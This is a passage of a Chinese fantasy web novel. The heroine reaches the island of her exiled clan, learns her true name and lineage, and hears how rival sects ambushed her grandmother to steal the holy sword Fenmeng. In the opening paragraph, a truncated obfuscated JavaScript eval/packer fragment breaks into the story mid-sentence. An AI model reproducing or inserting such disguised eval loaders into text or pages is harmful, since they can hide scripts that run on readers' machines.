可她不是傻瓜,所以不止一次偷偷想过,捡到自己的那场大雪之前,她在哪里?她的眼睛,她的头发,她梦里曾经闪过的模糊光影......它们来自何方?这茫茫人世,会不会在某一个角落,流淌着与她相似的血液?他们是否曾为她哭泣过,是否在某个夕阳下,眺望着她可能归去的方向? 这种猜想不是强烈的渴望,而是一种淡淡的,萦绕不去的怅惘,是看着山间小鹿奔向母鹿时,心头倏然滑过的一丝凉意,是听到热闹市集里传来母亲呼唤孩童回家吃饭时,脚步不由自主的停顿。原来,那不是后天习得的羡慕,而是刻在血脉深处的,对“同源”与“共鸣”的本能向往。 如今,荣御骤然掀开了幕布的一角。 同族人。 不是孤零零的“一个”,而是“一群”。不是无根的飘萍,而是有源之水。 她感到一阵眩晕的恐惧,随之而来的,是连自己都压不住的执拗的希冀。同族人......他们生活在怎样的地方?会有自己的亲人吗?父亲......母亲......会不会有哥哥曾为她爬上树摘过果子,有姐姐曾经为她梳过发辫?哪怕只是远房的叔伯,疏堂的姐妹...... 这期待如此陌生,又如此灼热,烧得她喉咙发干,指尖冰凉。 回去尘寂山,还是走向荣御口中那未知的“家”? 挣扎如潮水般,涨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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荣御看了一眼雪闻笙,确定她做好了心理准备。 “走吧,我带你进去。”他拉住雪闻笙的手腕,踏入了浓雾之中。 雪闻笙忽然觉得有一种奇妙的失重感,好像穿越了某种无形的屏障。俩人走了好长一段路,当眼前的雾气逐渐散去,雪闻笙发现自己站在一片完全陌生的土地上。 眼前是一座光怪陆离的岛屿。 她谨慎的打量的周围,天空上方是一大片瑰丽的紫色霞光,岛上生长的植物很壮硕,许多都是她未曾见过的,有的叶片像晶莹的蓝宝石,有的花朵绽放的时候像跳动的火焰。空气中弥漫着一种与尘世间截然不同的香气,甜靡又幽异,不让人厌烦,是非常让人愉悦欢喜的。 最让她心神震动的是岛上的人。 他们大多拥有令世人惊叹的容貌,无论男女老少,皆生的俊美非凡,眼波流转间,天然带着一种勾魂摄魄的魅惑。他们的穿着也与外界不同,风格大胆而华丽,多用轻纱,鲜花,宝石点缀,充满了异域风情。 当雪闻笙和荣御踏上岛屿时,那些原本在各行其事,或慵懒憩息的人们,纷纷将目光投了过来。他们的眼神,不是外界人看她的那种或惊艳,或痴迷,或畏惧的那种,带着一种好奇,激动,甚至是......隐隐敬畏的复杂眼神。 雪闻笙自己也感到不可思议,看着这一张张陌生的面孔,她心中竟油然生出一股熟悉感,太亲切了,仿佛血脉深处有什么东西自然而然的被唤醒了,在轻轻共鸣。 眼前的一切忽然变得朦胧,她抬手摸了一把脸,发现自己不知不觉间早已泪流满面了。她根本忍不住哭泣,不是难过伤心,是久别重逢的怅然。 “呜呜呜......”高高的瞭望台上有人吹响了号角,那是某种特殊信号,声音哀婉动人。 不一会儿,远处走来一群人,在一众年轻女子的搀扶下,有一位老婆婆,满头白发的年纪,却依旧能看出年轻时绝代风华的模样,周围有人唤她女使长。 她颤巍巍地走上前,看着雪闻笙,良久,眼中竟泛起了泪光,嘴唇哆嗦着,似乎想说什么,最终无言,向着雪闻笙深深地弯下了腰。 接着周围其他的族人,仿佛也受到了某种无声的召唤,纷纷向着雪闻笙的方向,躬身行礼。 雪闻笙站在原地,看着眼前超乎想象的一切,心情复杂到了极点。既震惊又茫然,还有......找到了根源一样,一丝微弱的归属感。原来这个世界上除了尘寂山,竟然还存在着另一个能让她产生归属感的地方。 她看着这个岛上的人,他们......就是她的族人们? 她下意识握紧了拳,指甲深深陷入掌心,努力保持清醒。 25. 第 25 章 岛屿深处的景象,与外界的任何地方都不同。 这里不像尘世那样,没有规整的屋舍,全是依循着奇异古木构建的居所,或者是天然岩洞,点缀着散发柔和荧光的苔藓与晶石,岛上处处充满了美感,很神秘。空气中那股甜靡的幽香愈发浓郁,仿佛渗透了这里的每一寸土地。 雪闻笙走在一条长长的石桥上,荣御在前面为她引路,俩人逐渐往岛屿中心走去,那里只有一处高大的黑色岩石建筑,形状比较奇特,远远看着像被巨斧劈开了似的,雪闻笙很好奇,不知道里面是否藏着不为人知的传奇故事。沿途上,她还细心留意到一点,遇到的族人,无论老少,皆会向她投来那种激动与敬畏的目光,还有的会向她微微躬身致意。 这种无声的尊崇出奇的一致,雪闻笙忽然感到一种沉重的压迫感,她意识到自己好像不再是那个在尘寂山里可以任性,可以躲在明决羽翼下的无知小少女,在这里,她似乎被赋予了某种她完全不了解,也未必想要承担的身份。 她脚下的每一步路,变得沉重起来。 他们来到了那个黑色岩石建筑前,上面写着“思谏阁”。等进去了,雪闻笙才看清楚,“思谏阁”内部空间远比外面看起来更为开阔。头上方穹顶高悬,镶嵌着像星辰般闪烁的夜光石,将整个大厅映照得如同白昼,但是这种光不温暖,是一种冰冷的光。大厅中央,是一个巨大的祭坛,看起来像是天然形成的,应该很多年了,上面长满了青苔,还依稀刻了很多繁复的符文,雪闻笙忍不住细看了几眼,惊讶的发现自己无师自通,能看懂一点点,上面的字形跟荣御骨笛上的符文很相似,她猜测,或许这两个物体之间存在某种特殊感应,所以在外面,荣御吹响笛声之后,祭坛才打开了小岛外面的结界,放他们进来了。 再往里看,之前那位向她躬身的女使长,此刻正端坐在祭坛前的一个石座上,她目光深邃,有些疲惫,像历经了千年风霜。雪闻笙觉得她可能是小岛上最有话语权的一个领导者。 女使长摆摆手,示意雪闻笙在她面前的蒲团上坐下来。荣御自发自觉,像个影子一样,沉默地退到了大厅的阴影角落里,自然而然的与墙壁融为一体了,只余一双深紫色的眼眸,在暗处静静注视着大殿里的一切。 “孩子,”女使长开口,声音沙哑,字字清晰,像带着奇怪的穿透力,直接响在了雪闻笙的心底,“我知道你心中情绪很复杂,此刻一定充满了疑惑,甚至......是抗拒。对不对?” 雪闻笙抬起头,看着女使长那双威严的眼睛,没有否认。 她的心很乱,像一团纠缠的丝线,理不出一点头绪,她有太多话想说,有太多话想问,却不知从哪里开口。 她想了想,决定直接点好。“我明明是雪闻笙啊......你们为什么都说我是‘玄女’?我到底是谁?还有......荣御说的法器,又是怎么回事?我从有记忆开始就一直住在尘寂山,对之前的身世一无所知,我从哪里来?为什么会出现在哪儿?”她一口气问出了堆在心中最大的疑问。 女使长闻言,轻轻叹息一声,叹息声中仿佛承载了无尽的岁月与苦难。“听我慢慢告诉你。孩子,你的名字,并不是雪闻笙。你的本名,是‘墨璃’。你是我族上一代玄女,也就是我母亲的姐姐,唯一的孩子。” 墨璃?她说她应该叫“墨璃”?不不不,这个名字对她太陌生了,毕竟雪闻笙这个名字陪了她这么久,但是,当女使长说出这个名字的一瞬间,还是让雪闻笙的心莫名一颤。 随后,女使长深深吸了一口气,那气息穿过衰老的肺叶,带着一种沉重的历史回音:“孩子,你问自己从哪里来?这个问题,答案很长,也很重。要知道这个,你得先知道,‘我们’是谁,我们的族人们是谁?从哪里来?。” 她顿了顿,目光仿佛穿透了大殿,投向了浩瀚星穹与时间深处。“世人,那些惧怕我们又垂涎我们的人,称我们为‘魅’。我们是‘魅族’,一个轻飘飘又满是污秽意味的称谓。但在很久,很久以前,久到人族王朝尚未兴起,仙门洞府初开之时,我们并非‘魅族’。” 她的声音低沉下去,带着一种遥远的追忆,和刻骨的骄傲:“我们曾是‘璇光族’,是受天地钟爱,司掌部分‘生’与‘美’之法则的仙裔。我们生于云霞之巅,饮露餐霞,容貌天成,一举一动皆暗合自然韵律。那时的我们,与清风明月为伴,与瑞兽仙草同游。” 雪闻笙屏住呼吸,脑海中不由自主地勾勒出一幅从未想象过的瑰丽画面。仙裔......那本该是传说中至高无上的存在,为什么...... “然而,”女使长话锋一转,那追忆的暖色骤然冷却,“仙道漫漫,讲究太上忘情,摈弃‘冗余’。而我们璇光一族,天生对‘血脉牵绊’,‘族群聚落’有着近乎本能的眷恋与执着。我们重视每一个新生命的诞生,那不仅是繁衍,更是血脉之力的延展与希望。我们享受族人团聚的温暖,力量在亲缘的共鸣中会变得更加纯粹而强大。这在我们看来,是天地赋予我们最珍贵的馈赠,是我们力量的源泉,也是我们存在的意义。” “可在那些追求绝对‘超脱’,视血缘情爱为尘障的‘正统’仙族眼中,这成了我们‘道心不纯’,‘眷恋尘俗’的原罪。他们认为我们对族群,对亲情的执着,是‘劣根性’,是与‘大道’背道而驰的缺陷。”女使长的嘴角扯起一个讥诮的弧度,“一场持续了数百年的争执与排斥后,最终的判决降临了。” 她的声音变得干涩而冰冷:“我们被指控‘沉溺私情,悖逆天道’,被强行褫夺了仙籍仙骨,打落了凡尘。更屈辱的是,他们以仙庭律法为名,将‘璇光’之名从仙籍中抹去,赐予我们一个新的,带有贬斥与警示意味的称谓——‘魅’。意为外显之美迷惑心性,内里之质偏离正道。自那日起,我们便从云端仙裔,成了流放大地的‘魅族’。” 雪闻笙的心重重一沉。从仙裔到被放逐的“魅”,这巨大的落差,仅仅是听着,便感到一阵窒息般的屈辱。 “跌落凡尘,并非苦难的结束,而是真正残酷生存的开始。”女使长继续道,语气恢复了平静,但那平静之下,是千年风霜磨砺出的坚硬,“失去了仙灵之气的滋养,我们不得不适应这充满浊气的凡间。然而,天地生我族时赋予的无双容貌,并未因此消失,反而在凡尘浊世的映衬下,显得愈发夺目,也......愈发致命。” 她看向雪闻笙,目光锐利如刀:“孩子,记住,这容貌,从来不是恩赐。它是武器,是我们保护自己最外层的武器,也是最无奈的障眼法。当力量不足以震慑敌人时,迷惑,便成了我们的求存之道。可悲的是,世人浅薄,只见皮相惑人,便肤浅的自行编造出无数淫邪故事,将祸水之名强加我族。他们觊觎这皮相,又恐惧这皮相背后的力量,于是,‘魅族天性淫邪,以色惑人,包藏祸心’的污名,便如同跗骨之蛆,再也甩不脱了。” 雪闻笙下意识地摸了摸自己的脸,想起自己离开尘寂山地界刚刚踏入尘世时,跟着洛逍和荣御来到山下最近的一个镇子里发生的事。 当时雪闻笙心里满是新奇,像只初探巢穴外世界的小雀,新奇地张望着一切,然而很快,她便察觉到自己成了被“张望”的对象。 她穿着一身素净的浅青色衣裙,是她在尘寂山最常见的样式,料子普通,并无装饰。可那张脸,在熙攘的凡尘小镇里,却像是误入瓦砾堆的明珠,瞬间吸引了无数目光。 起初是几个蹲在街边玩泥巴的孩童,张大嘴巴,脏兮兮的手指直直指着她:“娘亲!你快看!是仙女下凡啦!”引得他们的母亲慌忙捂嘴呵斥,自己却也忍不住偷偷打量。 有一个路过的行商,挑着的担子差点撞到迎面来的洛逍,只因扭头看得太专注。茶棚里歇脚的老汉,一口茶含在嘴里忘了咽,顺着花白胡子流下来。就连街角晒太阳的大黄狗,都支棱起耳朵,歪着脑袋对她“汪汪汪”了好几声。 雪闻笙被看得浑身不自在,下意识往洛逍身后缩了缩,低声道:“他们......为什么都这样看我?我脸上有东西吗?”她抬手摸了摸脸颊,又低头看看自己的衣裳,一切如常。 洛逍“噗嗤”一声乐了,故意挡在她前面,挺起胸膛,模仿着戏文里的腔调:“呔!何方宵小,竟敢直视本大侠的......呃,小师妹!”他转过头,笑嘻嘻地对雪闻笙挤挤眼,“因为你好看呀,雪闻笙妹妹!咱们尘寂山水土养人,把你养得跟朵沾着晨露的山茶花似的,这些凡夫俗子哪儿见过这阵仗?” 荣御没说话,只是脚步不着痕迹地调整了方位,用自己挺拔的身躯挡去了左侧几道过于直白的探究视线,目光平静地扫过周围,那些原本肆无忌惮的目光接触到他冷淡的眼神,大多讪讪地收了回去。 “可是......好看就要被这样盯着吗?”雪闻笙耳根发热,声音更小了,“像看什么稀罕物件似的,怪让人难受的。” “习惯就好啦!”洛逍大大咧咧地摆摆手,指着前面一个捏面人的摊子,“走,咱们去捏个小面人儿,你挑个喜欢的样儿,让他照着捏!” 摊主是个中年汉子,原本正麻利地捏着孙悟空,一抬头看见雪闻笙,手里的一小块红色面泥“啪嗒”掉在了案板上。他愣了好几秒,才结结巴巴地问:“姑、姑娘......想捏个啥样的?我这里有猴子,老虎,小马......?” “不要,不要,都不要。捏个她!”洛逍抢先指着雪闻笙。 摊主脸一红,连连摆手:“这,这可捏不来,姑娘这模样,小老儿这粗手笨脚的,万一捏丑了岂不是罪过?”他死活不肯,最后只给雪闻笙捏了个憨态可掬的玉兔,偷偷多塞了两颗红小豆当眼睛,还死活不肯收钱。 类似的事情接二连三。买瓜子时,卖瓜子的老伯非要挑最新鲜刚炒出来的那一袋给她。路过绸缎庄,掌柜娘子热情得过分,拉着她推荐各种时新料子,“这颜色顶衬姑娘肤色”,就连在馄饨摊吃碗馄饨,老板娘都特意多给她加了一勺香油,笑得见牙不见眼:“姑娘多吃点,长得真水灵!” 善意居多,却也并非全是如此。 在一处卖钗环的小摊前,雪闻笙正看着一支简单的木簪,旁边传来两个结伴女子的窃窃私语,声音不大,却刚好能飘进她耳中。 “瞧那脸,狐媚子似的......” “穿得那么素,谁知道是不是故意装清高,引男人瞧呢。” “就是,正经姑娘家,哪有大白天这么招摇过市的......” 雪闻笙的手指僵在木簪上,脸颊的血色瞬间褪去,变成一种难堪的苍白。她咬着下唇,默默放下簪子,转身想离开。 洛逍耳朵尖,早就听见了,火气“噌”就上来了,袖子一捋就要过去理论:“嘿我这暴脾气!说谁呢你们!” 荣御却伸手按住了他的肩膀,力道不大,却暗暗使着巧劲。他上前一步,挡在雪闻笙和那两个女子之间,并没有看她们,只是垂眸对雪闻笙温声道:“那边敲锣打鼓的,戏好像要开场了,去早些占个好位置。” 他的声音平稳,动作自然,仿佛根本没听见那些污言秽语,却用身体和话语,为她隔开了一个安全的空间。那两个女子被荣御身上冷肃的气势一慑,也自觉失言,脸色讪讪地快步走了。 去戏棚的路上,气氛有些沉默。洛逍还在愤愤不平:“什么人啊!嘴那么碎!雪闻笙你别往心里去,她们那是嫉妒!赤裸裸的嫉妒!” 雪闻笙低着头,踢着路上的小石子,闷闷地说:“洛逍,荣御,我......我是不是该戴个帷帽什么把自己遮起来的?” “戴什么帷帽!”洛逍嚷嚷起来,“长得好看又不是错!凭什么要遮遮掩掩?你就该大大方方地走,气死那些不长眼的!” 荣御看着雪闻笙沮丧的侧脸,缓缓开口,声音比平日更低沉些:“他人的目光与言语,像山间雾气,来了又会散。你就是你不会因为任何人看你一眼,说你一句而改变。” 他顿了顿,意味深长补充了一句:“习惯,并不是屈服,而是知道何为重要,何为过眼云烟。你的心,你的本真,比万千目光加起来都重。” 雪闻笙心想也是,心里的那点委屈和不适减轻了许多。 后来几天,她依然会引来注目,依然会听到些闲言碎语。慢慢地,雪闻笙发现,她开始能分辨那些目光里的善意,好奇与纯粹的恶意。她学着对善意的夸奖微笑颔首,对恶意的揣测统统视而不见。 “我是雪闻笙。”她在心里对自己说。再走过街头时,她的背脊挺直了些,眼神也坦然了许多。虽然依旧不喜被过分凝视,但那份初入尘世,因容貌而生的惶惑不安,终究在自身的体悟中,慢慢沉淀,释然了。 她的那些经历虽然远不及女使长所说的残酷,但那种被凝视,被误解的感觉,此刻似乎找到了更深远 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她微微前倾身体,眼中的火焰燃烧着:“我们注重血脉的延续,注重族群的团结,因为这不再是仙裔时的眷恋,而是关乎存亡的规律!每一个新生儿都是族群未来的火种,每一次血脉的融合都可能诞生更强大的力量。而不团结......”女使长冷笑一声,笑声里满是血与火的记忆,“那些自诩‘正道’的宗门,那些贪婪的修士,还有各方势力,他们就像嗅到血腥的豺狼!当年我们刚被贬落,实力大损,他们便联合起来,打着‘除魔卫道’的旗号,实则行掠夺屠杀之实!他们想要我们的修炼秘法,想要我们血脉中残留的仙灵特质,想要我们世代积累的珍宝!若不紧紧抱成一团,拧成一股绳,我们早就被撕成碎片,血脉不存了!” 雪闻笙听得手心冒汗,仿佛能看见那尸山血海,绝望抗争的画面。 “所以,我们反抗!”女使长的声音陡然拔高,枯瘦的手紧紧攥成了拳头,骨节发青,“因为不反抗,就只能像牲畜一样被圈养,被挑选,被宰割!只能引颈就戮!我们争夺资源,开拓领地,修炼力量,有什么错?我们不过是想在这片不再欢迎我们的天地间,争得一块能让族人繁衍生息,血脉相传的立足之地!” 她情绪激动,胸膛起伏,好一会儿才慢慢平复,但那悲愤与傲然已深深镌刻在每一道皱纹里。“世人都说我们凶残暴虐,说我们野心勃勃,试图颠覆人间秩序?哈哈......真是天大的笑话!”她仰起头,眼中似有泪光,又被熊熊怒火烧干,“他们联手布下‘禁灵绝户阵’,将我族先辈困杀于‘曦光城’时,难道不凶残?他们诱捕我族幼子,抽血炼魂,研究所谓‘仙裔奥秘’时,难道不暴虐?他们为了一己私欲,将我族女子视为炉鼎玩物,将我族男子贬为奴仆妖兽时,难道就是仁义道德?!” 这一连串的反问,像裹挟着冰碴的暴风,一下下砸在雪闻笙心上。她脑海中那些梦魇般的碎片——被追逐的身影,冰冷的杀意,绝望的呼喊——此刻仿佛都有了具体而残酷的注解。她脸色发白,嘴唇微微颤抖。 “站在我族的立场,我们到底有什么错?!”女使长的目光紧紧锁住雪闻笙,那里面有质问,有悲怆,还有一种偏执的坚守,“我们不过是遵循着天地最初赋予我们的本性在生存!我们热爱力量,因为力量能保护所爱。我们重视血脉,因为血脉是存在的证明。我们团结一致,因为孤木难支,聚沙成塔!我们只是想活下去,想延续下去,想让子孙后代不再像我们一样,背负着‘魅’的污名,在追剿与歧视中东躲西藏!为何这世间,那些占据了阳光与话语权的‘正道’,就如此容不下我们?!这天道,对吾族,何其不公!” 最后一句,她几乎是嘶吼出来的,苍老的声音破裂沙哑,却蕴含着震撼人心的力量。大殿里一片死寂,只有祭坛中间木柴燃烧偶尔发出的噼啪声,还有,雪闻笙自己急促的心跳。 过了许久,雪闻笙才从这沉重磅礴的历史与悲愤中稍稍挣脱,她感到喉咙发干,声音轻飘飘的:“所以......婆婆,我们的族人,现在都生活在这座岛屿上吗?” 女使长眼中的激愤慢慢褪去,重新被一种深沉的疲惫和复杂的机警取代。她缓缓摇头,声音低了下来:“大多数都在这里,‘曦光城’之后,我族元气大伤,再也无法维持大规模的聚居。残存的族人四散飘零,隐匿身份,混迹于凡人之中,或藏身于荒山大泽,秘境边陲。他们学会了更深地隐藏自己,用那身皮相作为最好的伪装,也在暗中以只有族人才能辨识的方式,小心翼翼地联系着彼此。大家一直努力靠近,聚集,从来没有放弃过,苦苦寻找新的聚集地,但是适合我们的生存空间太少太少了,大约在六十年前,大家才选定了这个与世隔绝的小岛。”这聚集的过程是何等心酸不易。 说完,她看向雪闻笙,又瞥了一眼黑暗里的荣御,意有所指:“血脉的呼唤,在近距离内,尤其是面临危机或情绪强烈时,会变得清晰。但大部分时候,他们就像水滴汇入大海,散落在茫茫人世间。想要找到他们,真正聚集他们,需要契机,需要指引,更需要......你,需要你真正觉醒灵力并接纳自己的血脉之力。” 雪闻笙顺着她的目光,也看向荣御。荣御对上她的视线,轻轻点了点头,印证了女使长的说法——他能精准的找到她,本身或许就是一种血脉的牵引。 “孩子,”女使长的语气缓和下来,带着一丝期待,“你现在知道了我们是谁,从哪里来,又为何成了如今这般境况,想必也清楚了自己是谁,从哪里来。这条路,布满荆棘,充斥着误解与危险,但这条路,也通往你的根,你的血,你力量的源头啊。” 她顿了顿,补充道,每一个字都带着千钧重量:“你记住,你血脉中属于‘璇光’,属于‘魅’的烙印,永远不会消失。它带来诅咒,也蕴藏着力量;它意味着责任,也牵连着......在岛上,还有其他地方等待着你,与你血脉相连的同组亲人们。” 亲人......这两个字,再次精准地击中了雪闻笙内心最柔软也最渴望的角落。对“同类”与“归属”的本能向往,尤其是对“亲情”那近乎血脉本能的羁绊,与女使长所描绘的波澜壮阔又血迹斑斑的种族历史交织在一起,在她心中掀起了滔天巨浪。 她怔怔地望着跳跃的火光,仿佛在那光焰中,看到了被放逐的仙裔在云巅的过往,看到了浴血抗争的族人在荒野的悲歌,也看到了无数个像自己一样,隐匿在人群之中,带着迷茫与渴望的孤独身影。 前路迷雾重重,但迷雾深处,第一次,传来了遥远而真切的,属于同源血脉的呼唤。 女使长的情绪慢慢平复下来,但眼中的悲愤没有消散。“我族曾经......也确实风光无限。凭借天赋与力量,建立了属于自己的国度,虽非与世无争,却也足以自保。直到......我们失去了‘焚梦’。” “焚梦?”雪闻笙喃喃重复着这个名字,感到一股莫名的寒意。“那是什么?” 26. 第 26 章 “焚梦......”女使长重复着这个名字,干涸的眼眶里仿佛有遥远的火光在跳动,那火光里交织着无上的荣耀,“它可不是一把普通的剑,孩子。它是我族自远古仙祖便传承下来的无上圣器,是铭刻在血脉里的图腾。” 她微微仰起头,声音变得有些缥缈:“传说,它并非凡铁所铸,而是天地初开时,一缕最纯粹的‘生’之精魄,融合了仙祖对族群延绵不绝的祈愿与守护意志所化。它不仅能斩断山河,更重要的一个作用,是能与我族纯净的血脉之力共鸣,引导,甚至增幅。持有焚梦的族长,能将散落的力量凝聚成磐石,能将族人的意志淬炼成锋刃。它是我族族长至高无上的信物,是号令凝聚的旗帜。有它在,那些贪婪的眼睛,便不得不忌惮三分,我族方能在这充满敌意的世间,保有一方相对安宁的栖息之地。” 雪闻笙的呼吸不自觉地放轻了,她完全能想象出那一把圣剑的光华,以及它所带来的安定与力量。 “可是......”女使长的话锋陡然下沉,像从云端坠入无底寒渊,“它没了!” 雪闻笙的心提了起来。“丢了吗?怎么丢的?”不幸丢失于险地,还是丢失于天灾? “不是丢了,而是......被最肮脏的阴谋,最无耻的背叛,生生从我们手中窃走的!”女使长的声音开始颤抖,“大约一百五十年前,那时,我族虽然已不复璇光仙裔的辉煌,但在几位英明族长的带领下,于南疆云雾深处重建了‘曦光城’。我们避开尘世纷扰,休养生息,力量逐渐恢复。焚梦圣剑在当时的族长——你的外祖母,焉迦手中,它绽放着令日月都为之黯淡的光华。焉迦族长......她不仅力量强大,更心怀仁念,一直试图寻求与外界,哪怕不能和平共处,至少也能划定界限,互不侵扰的办法。” “那些自诩正道魁首的宗门——凌霄阁,赤阳宗,悬镜寺,他们表面道貌岸然,实则对我族传承,对焚梦圣剑垂涎已久。他们惧怕我族再次崛起,更贪婪圣剑可能蕴含的超然力量。”女使长的指甲深深掐进掌心,留下苍白的月痕,“他们知道强攻曦光城代价巨大,于是,便编织了一个极其恶毒的陷阱。” 女使长看了雪闻笙一眼。 那一瞬间,雪闻笙仿佛被一股无形的力量牵引,意识沉入女使长话语所编织的血色记忆之中。她不再是一个旁听者,成为了那个惨烈时刻的沉默见证者,她好像真的“看”到,“听”到,亲身“感受”到了...... 曦光城,族长寝宫。 烛火在精美的银灯罩内摇曳,映照着焉迦族长疲惫的面容。这个时候的她已经不再年轻了,但岁月似乎格外优待她,赋予了她威严,还有别具一格的优雅从容,她额间有一道浅浅的赤色纹路,是血脉力量精纯的象征。 几位白发苍苍的长老围坐一旁,气氛凝重。 “族长,此事万万不可!”一位手持木杖的长老沉声道。 他是大长老苍熠,声音激动,有些颤抖:“凌霄阁,赤阳宗,悬镜寺......他们与我们争斗数年,何曾有过真心谈判?这分明是另有居心,不能不防!” 另一位女性长老,面容冷峻,接口道:“苍熠长老所言极是。‘共商灵脉’?笑话!哪一处灵脉不是他们巧取豪夺,反诬我等占据?‘平息摩擦’?摩擦皆因他们不断越界袭扰而起!族长,这邀约,字字虚伪,句句陷阱!” 焉迦族长轻轻抚摸着置于膝上的长剑——焚梦。剑鞘古朴,看似无华,但当她指尖掠过时,隐约有极淡的温暖流光一闪而逝。她抬起头,目光扫过每一位长老:“诸位长老的担忧,我岂会不知?与虎谋皮,险之又险。”她的声音清越沉稳,“然而,我族自‘魅’之名重现以来,虽得喘息,却始终困守一隅,如履薄冰。孩子们在恐惧中长大,年轻人看不到与外界的通路,每一次冲突都在消耗我们本就宝贵的血脉。若有一线机会,哪怕只是划定一条暂时的界线,换取十年,二十年的和平,让我族得以真正休养,培育新一代的力量......这个险,值得一冒。” “可是族长,您的安危系乎全族!”苍熠长老急道,“他们最想除去的便是您,最想夺走的便是焚梦!” “正因为焚梦在我手中,”焉迦族长的眼神陡然锐利,“他们才不敢轻举妄动。风云台位于交界,看似中立,实则双方力量皆可触及。我若不去,反倒显得怯懦,给了他们指责我族无心和谈,再度兴兵的借口。我若前往,身负圣剑,只带少数精锐,既显的有诚意,也可以展现实力。他们若真有诡计,也要掂量掂量,能否在焚梦剑下讨得半分便宜。” 一位一直沉默的年轻影卫忍不住开口,他站在焉迦身侧,眼神炽热:“族长,我等愿誓死相随!焚梦圣剑所向,必教那些伪君子有来无回!”瞧见这个影卫,雪闻笙忽然神思微动,她“感觉”到,他就是女使长记忆中的父亲,一位英勇的战士。 焉迦看向他,目光柔和了一瞬,随即又恢复严肃:“云翼,不可轻敌。此行非为厮杀,而为和平之可能。但若事有变故......”她握住焚梦剑柄,整个寝宫似乎都明亮了一瞬,“我亦不吝让宵小之辈,重温圣剑之威。” 会议最终不欢而散,长老们忧心忡忡,却无法动摇族长的决心。焉迦族长只挑选了八名影卫,皆是族中百里挑一,忠诚与实力并重的勇士,其中便包括那位名叫“云翼”的年轻影卫,“云翼”身边还带着一位气质沉静,目光锐利的美人——她,就是女使长的母亲,“汐月”。 出发前夜,汐月为焉迦整理行装,低声劝道:“姐姐,汐月总觉心神不宁。悬镜寺的‘天机盘’据说有窥测因果之能,赤阳宗近年炼制了许多阴损法器,凌霄阁更是擅长阵法合击......他们若联手设局,恐怕......” 焉迦轻叹一声,望向窗外朦胧的月色:“汐月,我知此行危险。但身为族长,有时不得不行险。我相信焚梦,更相信跟随我的你们。记住,若真有不测,你们的首要任务并非死战,而是尽可能将消息带回曦光城。”她转身,握住汐月的手,低声道:“若我......回不来,族里就全靠你了,告诉长老们,立刻启动‘星散’计划,保存火种,切不可为我报仇而倾全族之力。” 汐月眼眶微红,重重颔首:“姐姐......你,保重。” 风云台坐落于孤峰之巅,玉石铺就,四周云海翻腾,仿佛置身天外。此刻,云海呈现出一种异样的平静,连风都停滞了。 焉迦族长一行九人,踏上台面。她身着简洁的银色战袍,焚梦佩于腰间,未出鞘,却自有凛然之气。八名影卫,包括云翼和汐月,身着轻甲,分立两侧与后方,眼神警惕地扫视着每一个方向。 对方的人早已等候。三位宗主联袂而立。 凌霄阁宗主“玉灵子”是位有名修士,他鹤发童颜,手持拂尘,面带微笑,一副仙风道骨模样,率先开口,声音温和:“焉迦族长亲临,足见诚意。贫道有礼了。”他微微一揖。 赤阳宗宗主“朱煌”,身材魁梧,赤发如火,声如洪钟,哈哈一笑:“族长风采依旧,令人心折。往日些许误会,今日正好说开!” 悬镜寺主持“了尘大师”,身披锦斓袈裟,面容悲悯,双手合十:“阿弥陀佛。我佛慈悲,愿今日之会,能化解干戈,止息杀孽。” 焉迦族长神色平静,还礼道:“三位宗主亲至,本座亦感其诚。但愿今日,能为我两方生灵,寻得一条生路。”她的目光扫过三人身后——只带了寥寥十余名弟子,看似毫无威胁。 谈判开始。双方就几处争议灵脉的归属,过往冲突的赔偿,未来互不侵犯的约定等,展开讨论。玉灵子言辞恳切,朱煌看似粗豪却不时做出“让步”,了尘大师则时不时念句佛号,充当“和事佬”。气氛竟显得有些“融洽”。 雪闻笙以“旁观”视角,却能感受到一种越来越强的违和感。过程似乎......太顺利了。 那三位宗主的目光,偶尔扫过焉迦族长腰间的焚梦时,会闪过一丝极快,极难察觉的贪婪与灼热。云海过于平静,连鸟兽之声都绝迹了。 影卫们,尤其是汐月,背脊始终紧绷着。 交换初步文书时,朱煌咧嘴笑道:“族长爽快!看来今日果然是个好日子!我赤阳宗库中还有几坛百年火灵酒,不如等此间事了,请族长与诸位勇士共饮,一笑泯恩仇?” 玉灵子拂尘轻摆,笑容加深:“朱煌宗主好提议。焉迦族长,我凌霄阁后山亦有清泉仙茗......” 在气氛看似达到最“融洽”顶点的时刻,玉灵子脸上的笑容骤然消失了。 “......只可惜,你们没机会品尝了。”他最后一个字落下的瞬间,拂尘猛地向下一挥! “阵起——!” 这不是从他口中发出的喝令,是从风云台四周的云海之下,山体岩壁之中,、同时响起的,成百上千人整齐划一的狰狞咆哮声。 天空立刻暗了下来,无数条灰黑色符文的巨大锁链虚影显现出来,纵横交错,像一张遮天巨网,将整个风云台死死罩住,玉石地面发散出刺目的灰光,那光芒像一只活物,瞬间就缠绕上了焉迦族长和八名影卫的双脚。 一股阴寒,麻痹,带着强烈剥夺感的力量疯狂钻入他们体内,试图冻结血脉,瓦解灵力! “禁灵绝户阵!”汐月失声惊呼,脸色惨白。这正是专门针对魅族血脉感应的恶毒阵法,能极大压制他们的力量,干扰他们与天地灵气的沟通。 “卑鄙无耻!”云翼怒吼,长剑已然出鞘,但挥动时明显感觉到迟滞,剑光黯淡。 那边,原本平静的云海忽然着了大火一样沸腾起来,无数身着各色宗门服饰的修士,驾驭着剑光,法宝,像嗅到血腥的蝗虫,从云海下,从山体中蜂拥而出! 眨眼间,密密麻麻,竟有数百之众,将小小的风云台围得水泄不通!他们眼中没有半分谈判的诚意,满是赤裸裸的杀意,贪婪与兴奋。 “哈哈哈哈!”朱煌狂笑,周身烈焰腾起,化作一副火焰铠甲,“焉迦!今日便是你魅族覆灭之始!交出焚梦圣剑,或许可留你全尸!” 了尘大师悲悯之色尽去,面目森然,手中多了一柄沉重无比的金刚杵:“邪魅妖道,窃据圣器,祸乱苍生!今日老衲便要为天下除此大害!伏魔!” 焉迦族长在阵法发动的那一瞬间,身形一晃,眼中惊怒之色一闪而过,随即就燃起了战意,凛然道:“好!好一个正道魁首!好一个谈判之约!今日,本座便让你们知道,何为魅族之怒,何为焚梦之威!” “铿——!”清越无比,仿佛能涤荡世间一切污秽的剑鸣,冲天而起!焚梦圣剑,出鞘了! 没有多余的一句废话,杀戮瞬间进入白热化。 